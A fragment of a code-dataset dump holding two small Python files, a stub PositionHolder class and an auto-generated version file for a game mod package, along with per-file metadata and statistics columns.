] | null | null | null | py/helpers/position.py | mezhov/goArm | c066f9ee28fd26bb3f53352ee8508f388b71c499 | [
"BSD-3-Clause"
] | null | null | null | class PositionHolder:
def __init__(self, p=''):
self._position = []
@property
def position(self):
return self._position
@position.setter
def position(self, new_position):
# check for new moves
# emit moves to UI if needed
self._position = new_position
def emit_move(self):
pass
| 20.764706 | 37 | 0.603399 | 41 | 353 | 4.95122 | 0.512195 | 0.17734 | 0.147783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.311615 | 353 | 16 | 38 | 22.0625 | 0.835391 | 0.130312 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.363636 | false | 0.090909 | 0 | 0.090909 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
94d1665972f91bfcdbc4a5f569453d0ea57d3e9e | 155 | py | Python | res_mods/mods/packages/xvm_battle/python/__version__.py | peterbartha/ImmunoMod | cbf8cd49893d7082a347c1f72c0e39480869318a | [
"MIT"
] | null | null | null | res_mods/mods/packages/xvm_battle/python/__version__.py | peterbartha/ImmunoMod | cbf8cd49893d7082a347c1f72c0e39480869318a | [
"MIT"
] | 1 | 2016-04-03T13:31:39.000Z | 2016-04-03T16:48:26.000Z | res_mods/mods/packages/xvm_tooltips/python/__version__.py | peterbartha/ImmunoMod | cbf8cd49893d7082a347c1f72c0e39480869318a | [
"MIT"
] | null | null | null | # This file was created automatically from build script
__revision__ = '7581'
__branch__ = 'default'
__node__ = 'c386bcd24648e215a00249e32d2d4bbd1a6992db'
| 31 | 55 | 0.819355 | 14 | 155 | 8.214286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.211679 | 0.116129 | 155 | 4 | 56 | 38.75 | 0.627737 | 0.341935 | 0 | 0 | 0 | 0 | 0.51 | 0.4 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.